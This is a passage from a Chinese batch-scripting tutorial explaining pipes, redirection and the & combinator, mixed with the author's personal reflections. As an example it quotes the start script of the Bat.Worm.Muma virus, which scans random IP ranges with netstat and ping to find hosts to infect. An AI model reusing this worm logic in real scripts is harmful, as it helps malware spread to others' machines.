批處理經(jīng)典入門教程!(從不懂到高手)第3/5頁
更新時間:2007年02月23日 00:00:00 作者:
寫這篇教程的目的,是讓每一個看過這些文字的朋友記住一句話:如果愛可以讓事情變的更簡單,那么就讓它簡單吧!看這篇教程的方法
二:
START.BAT:
CALL MUMA.BAT
復制代碼 代碼如下:
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET
NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
這是Bat.Worm.Muma病毒的起始腳本,設置了病毒運行的環(huán)境變量。是不是看的頭都大了?又忘了寫在第一章第一段的那句話(靜下心來?。銘撃荏w會到學習這兩個命令所需要的耐心了吧。就如同去愛一個人,你得學會寬容,打不得罵不得,用你寬大的胸懷去包容她的一切,即使你發(fā)現(xiàn)愛她的過程如看上面代碼的過程一樣讓你頭大,但你還是得愛下去-
---愛需要理由嗎?不需要嗎?需要嗎?不需要嗎……等到風平浪靜后,最直觀的收獲就是,你的耐心變的前所未有的充足,面對她的復雜和善變,你自己會處變不驚,以自己的方式去從容應付曾經(jīng)應付不了的場面,即使到最后一身傷痕,也會感慨曾經(jīng)的舉動有多么偉大。
沒錯,這就是批處理的魅力,這就是愛的魅力。讓你受了傷還感謝傷你的人。這種感覺就好象在自己最喜歡的音樂聲中被人強奸,痛并快樂著。
不得不再次重申一遍,各種DOS命令是批處理的BODY(我實在找不出一個更合適的詞來形容他們之間的關系),學好DOS命令是學好批處理的前提。其他DOS命令如copy、dir、del、type、path、break、start等內部命令,以及ping、net、cmd、at、sort、attrib、fc、find等外部命令,在批處理里的應用非常廣泛。這篇教程的作用,是教你認識批處理,以及如何利用DOS命令組合出來一個完美的批處理腳本,去讓它自動完成你想要它做的事情。而靈活自如的編輯一個批處理腳本是建立在熟練掌握DOS命令的基礎上的,這已經(jīng)超出了本文的范疇,在此就不贅述了。
不知不覺中第三章已經(jīng)結束了。耳麥里傳來的依然是陳曉東的《比我幸?!?,每隔4分32秒就自動重播。雖然我不并不很喜歡陳曉東,可這并不妨礙我喜歡音樂,喜歡這首描寫的如此讓人感慨的歌。請你一定要比我幸福/才不枉費我狼狽退出/再痛也不說苦/愛不用抱歉來彌補/至少我能成全你的追逐/請記得你要比我幸福/才值得我對自己殘酷/我默默的倒數(shù)/最后再把你看清楚/看你眼里的我好饃糊/慢慢被放逐。我如同一個因年老失色而拉不到客的老妓女,絕望的徘徊在曾經(jīng)輝煌的紅燈區(qū),用一臉的木然瞟一眼來來去去的人群,默默的回憶自己并不光彩的過去,幻想自己將要面對的未來。直到看見那些幸福依偎在一起的情侶們,才突然間發(fā)現(xiàn)上帝的公平,和這種公平的殘忍。
可以說,批處理腳本中最重要的幾個命令我都沒有給出如echo或if那樣比較詳細的介紹,原因我已經(jīng)說了,因為我也是個菜,我也不太懂----但我正在學!你呢?今天又去了一趟圖書館,淘金一樣發(fā)現(xiàn)了一本叫《DOS批文件》的東東,藏在一個角落里落滿了灰,五本摞一起就跟磚頭一樣厚了。大概翻了一下,里面介紹了很多比較底層和基礎的東西,雖然從思路上講,已經(jīng)有點time out了,很多東西已經(jīng)基本沒有利用的價值(這就是信息時代的更新速度),但還是很值得看的。于是打算下午淘過來,放假回去了再好好研究一番,連同那幾個不熟悉的命令一起搞熟了,再續(xù)寫這篇教程。我始終堅信,沒有最好只有更好。
但是很可惜,等到下午再去的時候,圖書館樓梯口已經(jīng)立了一個牌子,上面寫著out of service----人家這學期的工作結束了。于是回到宿舍打算繼續(xù)寫第四章,正在這時又得到一個“振奮人心”的消息:期末考試有一科掛了,而且是全班第一----這一門整個班里就掛了我一個。郁悶的情緒剎那間涌上心頭,整個世界仿佛都變成黑的了。食堂和小賣部已經(jīng)陸續(xù)關門,學校里的人越來越少,迎面過來的幾個同學也都一身行李,忙碌著準備回家過年,內心的孤寂和失落如同夏日里暴雨前的烏云,迅速而不可抗拒的占領了心里每一個角落。迎著一月的冷風我一個人在天橋上發(fā)呆,還能怎么樣,連期末考試都應付不了的失敗男人。
“課間休息”時間好象長了點,呵呵,上課了!從這一章開始,將詳細介紹批處理中常用的幾個組合命令和管道命令。這些命令雖然不是必須的,如同愛一個人時不一定非得每天去陪,但如果少了這個過程,事情就會變的復雜而不完美,所以我認為管道命令和組合命令是批處理的調味劑,幾乎是少不了的。
下面從管道命令講起。常用的管道命令有以下這些:|、>、>>
11、|
這個命令恐怕大家不是很陌生,經(jīng)常好啊作DOS的朋友都應該知道,當我們查看一個命令的幫助時,如果幫助信息比較長,一屏幕顯示不完時DOS并不給我們時間讓我們看完一屏幕再翻到另一屏幕,而是直接顯示到幫助信息的最后。如在提示符下輸入help回車時,就會看到當前DOS版本所支持的所有非隱含命令,但你只能看到最后的那些命令,前面的早就一閃
而過了,如何解決這個問題?看例十三:
help | more
回車后會發(fā)現(xiàn)顯示滿一屏幕后就自動暫停,等候繼續(xù)顯示其他信息。當按寫回車時,變成一個一個的出現(xiàn);按下空格鍵時一屏幕一屏幕顯示,直到全部顯示完為止;按其他鍵自動停止返回DOS。
為什么會出現(xiàn)上述現(xiàn)象?答案很簡單,這里結合了管道命令|和DOS命令more來共同達到目的的。這里先簡單介紹一下help命令和more命令,對理解|命令的用法有很大幫助。
11.1、help命令。其實這個命令是不需要多說的,但在上述例子中help命令的用法比較特殊,直接在DOS提示符下輸入help命令,結果是讓DOS顯示其所支持的所有非隱含命令,而在其他地方用help命令,如輸入net help回車,則是顯示net命令的幫助信息。
11.2、more命令??赡芎芏嗯笥岩郧熬蜎]有接觸過這個命令,這個命令在Linux下的用處非常廣泛,也是管道命令之一。大家可以找一篇比較長的文章(a.txt)在DOS提示符下輸入如下兩個命令去比較一下差別:more a.txt和type a.txt。利用more命令,可以達到逐屏或逐行顯示輸出的效果,而type命令只能一次把輸出顯示完,最后的結果就是只能看到末尾的部分。在例十三里,more命令的作用就是讓輸出的信息逐屏或逐行顯示。
看到這里,你是否已經(jīng)能隱約感受到了|命令的作用了?沒錯,它的作用,就是把前一命令的輸出當后一命令的輸入來用的。在例十三里,前一命令的輸出,就是help命令執(zhí)行后顯示的DOS所支持的所有非隱含命令,而這個結果剛好做了后一命令more的輸入。所以例十三和下面的例十四是等效的:
help > a.txt
more a.txt
del a.txt
這里利用另一管道命令>生成了一個a.txt文件作為中間環(huán)節(jié),在用more命令查看a.txt文件后再刪除a.txt文件(例十三的所有好啊作是在內存中進行的,不生成文件)??梢钥闯?,正確使用管道命令|可以帶來事半功倍的效果。
結合例十三和例十四,以及前面的例九再體會一遍:|命令的作用,就是讓前一命令的輸出當做后一命令的輸入。
12、>、>>
這兩個命令的效果從本質上來說都是一樣的,他們都是輸出重定向命令,說的通俗一點,就是把前面命令的輸出寫入到一個文件中。這兩個命令的唯一區(qū)別是,>會清除掉原有文件中的內容后把新的內容寫入原文件,而>>只會另起一行追加新的內容到原文件中,而不會改動其中的原有內容。例十五:
復制代碼 代碼如下:
echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat
依次在DOS提示符下輸入以上各行命令,一行一個回車,將在當前目錄下生成一個a.bat文件,里面的內容如下:
復制代碼 代碼如下:
@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit
看到這里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的寫入功能編輯一個文本,而不需要專門的文本編輯工具;2、管道命令>和>>的區(qū)別如上所述。如果這里只用>命令來完成上面好啊作,最后也會生成一個a.bat,但里面的內容就只剩下最后一行exit了。所以>和>>一般都聯(lián)合起來用,除非你重定向的輸出只有一行,那么就可以只用>了。結合例一再仔細體會輸出重定向管道命令>和>>的用法。
13、<、>&、<&
這三個命令也是管道命令,但它們一般不常用,你只需要知道一下就ok了,當然如果想仔細研究的話,可以自己查一下資料。
<,輸入重定向命令,從文件中讀入命令輸入,而不是從鍵盤中讀入。
>&,將一個句柄的輸出寫入到另一個句柄的輸入中。
<&,剛好和>&相反,從一個句柄讀取輸入并將其寫入到另一個句柄輸出中。
關于這三個管道命令的舉例,在后面批處理腳本的精妙應用中還將涉及到。
下面介紹組合命令:&、&&、||
組合命令,顧名思義,就是可以把多個命令組合起來當一個命令來執(zhí)行。這在批處理腳本里是允許的,而且用的非常廣泛。它的格式很簡單----既然現(xiàn)在已經(jīng)成了一個文件了,那么這多個命令就要用這些組合命令連接起來放在同一行----因為批處理認行不認命令數(shù)目。組合命令的作用,就如同給愛人陪不是,說一句是說,說十句也是說,不一次把好話都說了出來,效果可能會好些----當然得排除一種特殊情況:這些話是否有先后順序,有些話是否可以同時說。在批處理腳本里也一樣,有些時候某些命令是不能同時執(zhí)行的,后面給你說。
剛剛又送走了一個同學,人去樓空的感覺越來越明顯,望著空蕩蕩的床鋪,平日里喧鬧的宿舍就只剩下我一個人了,整個世界只有那個平時令人非常討厭的老鼠這時候才顯得可愛起來----只有它會陪著我在這不敢開燈的漆黑夜里----一個連期末考試都應付不了的失敗男人。失敗!我感到快要呼吸不過來,這種失敗的壓力簡直令我窒息,簡直讓我的手接收不到大腦的信號,簡直讓這篇未完成的教程夭折。但我能怪誰?
忙碌了一學期要過年了卻掛了科,失??;掛了科也倒罷了,竟然一個人拖全班的后退,失敗中的失?。桓〉?,是在這最失落的時候,竟然找不到一個人可以傾訴;然而最失敗的,是突然發(fā)現(xiàn)自己竟然如此脆弱,如此耐不住寂寞。不過這倒也解開了心中疑惑很久的一個問題:為什么明知道那段情是一個旋渦卻還心甘情愿的往里面跳----這就是青春,風一樣的年齡,火一樣不安的心。不再愛了,我不要再一個人的時候苦苦等待;不再愛了,我不要在你給的囚籠里憐憫的愛;不再愛了,我不要在別人的視線里如此可笑;不再愛,我不再愛。就算塌下來,我也要一個人扛著,頭不能低腰不能彎,不能喘息不能傾訴,因為雖然失敗,但還是男人,是男人就不能向困難低頭!
14、&
這可以說是最簡單的一個組合命令了,它的作用是用來連接n個DOS命令,并把這些命令按順序執(zhí)行,而不管是否有命令執(zhí)行失敗。例十六:
copy a.txt b.txt /y & del a.txt
其實這句和move a.txt b.txt的效果是一樣的,只不過前者是分了兩步來進行的(在后面還將涉及到具體使用哪種方法的問題)。這個命令很簡單,就不多費口舌了,唯一需要注意的一點是,這里&兩邊的命令是有執(zhí)行順序的,從前往后執(zhí)行 。
相關文章
批處理完美實現(xiàn)FTP遠程備份數(shù)據(jù)
本文給大家分享的是實現(xiàn)使用FTP遠程備份數(shù)據(jù)到本地的批處理腳本,非常的簡單實用,有需要的小伙伴可以參考下。2015-09-09